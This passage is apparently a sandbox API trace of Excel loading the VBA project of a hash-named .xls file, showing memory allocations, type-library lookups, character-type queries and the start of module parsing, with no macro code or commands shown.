0xb996e00 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fc0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fb0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x688) returned 0x60c7380 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996e90 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x640) returned 0x6280e50 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c2e0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663f2b0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663fbe0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c2b0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996f20 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x400) returned 0x66fc680 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x400) returned 0x66fca90 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x400) returned 0x66fcea0 [0074.776] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0074.776] strcpy_s (in: _Dst=0x1f2f10, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0074.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f2f10, cbMultiByte=10, lpWideCharStr=0x1f2d60, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0074.776] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0074.776] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x1f2e30, pBstrLibName=0x1f2d60 | out: pfName=0x1f2e30*=0, pBstrLibName=0x1f2d60) returned 0x0 [0074.776] IUnknown:Release (This=0x679bb80) returned 0x2 [0074.776] IUnknown:AddRef (This=0x5a48620) returned 0x2 [0074.776] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x1f2e30, pBstrLibName=0x1f2d60 | out: pfName=0x1f2e30*=1, pBstrLibName=0x1f2d60) returned 0x0 [0074.776] IUnknown:Release (This=0x5a48620) returned 0x1 [0074.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x1f2f10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0074.776] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0074.776] wcsncpy_s (in: _Destination=0x1f2f20, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.776] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x66537f0 [0074.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x66537f0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.776] IMalloc:Free (This=0x7fefe465380, pv=0x66537f0) [0074.776] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.776] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.777] CExposedStream::Seek () returned 0x0 [0074.777] CExposedStream::AddRef () returned 0x2 [0074.777] CExposedStream::Read () returned 0x0 [0074.777] IMalloc:Alloc (This=0x7fefe465380, cb=0x2028) returned 0xb9e1340 [0074.778] IMalloc:Alloc (This=0x7fefe465380, cb=0x10020*=0x10128) returned 0xb9e3370 [0074.778] CExposedStream::AddRef () returned 0x3 [0074.778] CExposedStream::Release () returned 0x2 [0074.778] IMalloc:Alloc (This=0x7fefe465380, cb=0x2ee0) returned 0xb9f33a0 [0074.778] IMalloc:Alloc (This=0x7fefe465380, cb=0x800) returned 0x6395110 [0074.778] CExposedStream::Read () returned 0x0 [0074.779] CExposedStream::Read () returned 0x0 [0074.779] IMalloc:Alloc (This=0x7fefe465380, cb=0x404) returned 0x66fd2b0 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="…", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr=" ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¡", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¢", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="£", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¤", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¥", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¦", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="§", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¨", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="©", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.779] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ª", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="«", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¬", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="­", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="®", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¯", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="°", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="±", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="²", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="³", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="´", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="µ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¶", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="·", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¸", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¹", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="º", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="»", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¼", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="½", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¾", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¿", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="À", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Á", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Â", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ã", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ä", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Å", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Æ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ç", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="È", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="É", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ê", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ë", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ì", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Í", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Î", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ï", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ð", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ñ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ò", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ó", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ô", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Õ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ö", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="×", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ø", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ù", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ú", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.780] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Û", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ü", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ý", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Þ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ß", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="à", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="á", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="â", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ã", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ä", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="å", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="æ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ç", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="è", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="é", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ê", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ë", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ì", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="í", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="î", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ï", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ð", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ñ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ò", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ó", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ô", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="õ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ö", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="÷", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ø", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ù", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ú", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="û", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ü", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ý", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="þ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ÿ", cchSrc=1, lpCharType=0x1f3020 | out: lpCharType=0x1f3020) returned 1 [0074.781] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.781] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0074.781] IMalloc:Alloc (This=0x7fefe465380, cb=0xd) returned 0xb7fb9c0 [0074.781] IMalloc:Alloc (This=0x7fefe465380, cb=0x1a) returned 0xb73c280 [0074.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb7fb9c0, cbMultiByte=13, lpWideCharStr=0xb73c280, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0074.782] IMalloc:Free (This=0x7fefe465380, pv=0xb7fb9c0) [0074.782] IMalloc:Free (This=0x7fefe465380, pv=0xb73c280) [0074.782] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.782] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0074.782] IMalloc:Alloc (This=0x7fefe465380, cb=0x28) returned 0xb73c280 [0074.782] 